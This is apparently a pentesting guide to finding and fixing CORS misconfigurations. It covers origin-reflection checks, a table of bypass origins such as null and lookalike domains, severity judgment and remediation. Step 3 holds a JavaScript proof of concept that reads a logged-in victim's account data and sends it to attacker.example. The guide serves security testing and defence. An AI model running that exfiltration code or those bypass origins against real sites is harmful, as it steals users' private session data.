Testing for a CORS misconfiguration vulnerability comes down to one move. Send a request with an untrusted Origin header at a sensitive, authenticated endpoint. Then check whether the server reflects that origin back with credentials allowed. If it does, any page on the web can read that victim’s private data while they’re logged in. This guide walks through the method a pentester or bug bounty hunter actually uses, then covers the fix.
Why CORS testing belongs in every web app assessment
Cross-Origin Resource Sharing exists so a browser can safely relax its own Same Origin Policy. It lets one origin’s JavaScript read a response from another, but only when the server explicitly allows it. The server grants that permission through the Access-Control-Allow-Origin response header. It can optionally extend that permission to cookies and session data with Access-Control-Allow-Credentials: true.
That second header is the one that matters most during testing. Without it, a cross-origin script can’t read authenticated responses even if the origin is trusted. With it, a loose origin check turns into full session theft. That combination is what defines a CORS misconfiguration vulnerability in practice.
Step 1: send a control request with a bogus origin
Pick any authenticated endpoint that returns something sensitive: an account page, a settings API, a token refresh call. Resend it with a header like Origin: https://attacker-controlled-test.example. Look at two things in the response:
- Does
Access-Control-Allow-Originecho that exact value back? - Is
Access-Control-Allow-Credentialsset totrue?
If both hold, the server is reflecting arbitrary origins and trusting them with credentials. That’s a confirmed finding on its own. No further testing is needed to prove impact, though a working proof-of-concept page still strengthens the report.
Step 2: try the origins developers forget to block
A server that correctly rejects an obviously foreign origin can still fail on the edge cases. PortSwigger’s own research into CORS misconfigurations found working exploits in each category below. All were found on live production sites, including a bitcoin exchange and a PDF viewer:
| Test | What it catches | Why it works |
|---|---|---|
Origin: null |
Null-origin whitelisting | A sandboxed iframe (<iframe sandbox>) sends a null origin, which some servers allow through for local-testing convenience left in production. |
Lookalike domain, e.g. trusted-example.com.evil.net |
Weak substring or prefix matching | A check for “starts with” or “contains” the trusted domain also matches domains that merely embed it. |
Suffix variant, e.g. eviltrusted-example.com |
Weak suffix matching | A check for “ends with” the trusted domain string, without a dot boundary, matches any domain that happens to end the same way. |
| HTTP version of a trusted subdomain | Mixed-scheme trust | If an HTTPS site trusts an HTTP subdomain, a network-position attacker can intercept that subdomain and ride the trust relationship to the secure origin. |
| Case and port variants | Sloppy string comparison | Some allowlists compare origins as plain strings without normalising case or checking the port, letting a technically different origin slip through. |
Run through each row against the same endpoint you tested in step one, not just the obvious bogus-origin case. A server can pass the first test cleanly and still fail on the null origin or a lookalike domain. Treat step one as a screening check, not the full assessment.
Step 3: confirm real impact with a proof of concept
A minimal PoC page proves the finding beyond the raw headers:
fetch('https://target.example/api/account', { credentials: 'include' })
.then(r => r.text())
.then(data => fetch('https://attacker.example/collect?d=' + encodeURIComponent(data)));
Host it anywhere. Get a logged-in victim to open it. A link is enough, no other interaction is needed. The victim’s session data then lands on the attacker’s server. That’s the full lifecycle of a CORS misconfiguration vulnerability, from a header check to working data theft. It’s the exact pattern PortSwigger documented against a live bitcoin exchange. A reflected origin plus Access-Control-Allow-Credentials: true exposed a private API key to any page the logged-in user visited.
What separates a real finding from noise
Not every relaxed CORS policy is a CORS misconfiguration vulnerability. A public, unauthenticated API can intentionally serve any origin with Access-Control-Allow-Origin: * and no credentials. That isn’t exposing anything a normal, unauthenticated request couldn’t already reach. The finding matters when credentials are in play. It matters more when the response contains something origin-specific and sensitive. That could be account data, tokens, personal information, or admin functionality that opens a path to privilege escalation. Report the endpoint, the exact header values returned, and what the response actually exposed. Don’t just report that a wildcard exists somewhere in the app.
Where CORS testing fits alongside other checks
Don’t test CORS in isolation. It pairs naturally with a broken access control review. Both hinge on the same question: what is this endpoint willing to hand over, and to whom? Say an endpoint already leaks another user’s data through an insecure direct object reference. A CORS misconfiguration vulnerability on the same API can turn that into a drive-by attack. The victim’s own browser session does the work the moment they open a malicious page.
It’s also worth checking preflight behaviour on state-changing endpoints. A POST or PUT request with a non-simple content type triggers an OPTIONS preflight first. The server’s response to that preflight can reveal a broader attack surface than the main response does. So check specifically which methods and headers it allows. An endpoint that allows PUT and DELETE cross-origin, with credentials, is worth flagging. That holds even if the immediate proof of concept only demonstrates a read.
Fixing what you find
Closing a CORS misconfiguration vulnerability for good comes down to six changes:
- Replace origin reflection with a server-side allowlist of exact, known-good origins.
- Never combine a wildcard or reflected origin with
Access-Control-Allow-Credentials: true. - Remove
nullfrom any allowlist; it should never have been there for a production deployment. - Compare full origins (scheme, host, port) exactly, not with substring or prefix logic.
- Serve every origin the app trusts over HTTPS, with no mixed HTTP exceptions.
- Treat CORS as one layer, not the access control mechanism itself. Sensitive endpoints still need their own authentication and authorisation checks, regardless of what origin called them.
Frequently asked questions
Do I need Burp Suite or ZAP to find CORS misconfigurations?
They speed up the process across many endpoints, but the core test is a manual header swap: send a custom Origin, read the response headers. Curl or a browser’s developer tools are enough to confirm a single endpoint.
What’s the difference between a CORS misconfiguration vulnerability and a CSRF vulnerability?
A CSRF attack makes the browser send a request the victim didn’t intend. It doesn’t need to read the response back. CORS misconfiguration is different: it lets the attacker’s script read the response of a cross-origin request. The two are often chained together, but they fix differently. One needs anti-CSRF tokens, the other needs a correct origin allowlist.
Is Access-Control-Allow-Origin: * always a vulnerability?
No, not when the endpoint is genuinely public and doesn’t rely on cookies or session credentials to decide what to return. It becomes a vulnerability specifically when paired with credentialed, user-specific responses.
How severe do bug bounty programs typically rate these findings?
Severity tracks the sensitivity of the exposed data and whether credentials are required. A reflected-origin bug on an endpoint returning tokens or personal data is usually rated high, while a misconfiguration on a genuinely public, non-sensitive endpoint is often informational.
Should I test CORS on every endpoint or just authenticated ones?
Prioritise anything that reads cookies or session state to build its response: account pages, admin panels, internal APIs, token endpoints. Purely public endpoints rarely produce an exploitable finding, even with a permissive policy. Time is better spent where credentials are actually in play.

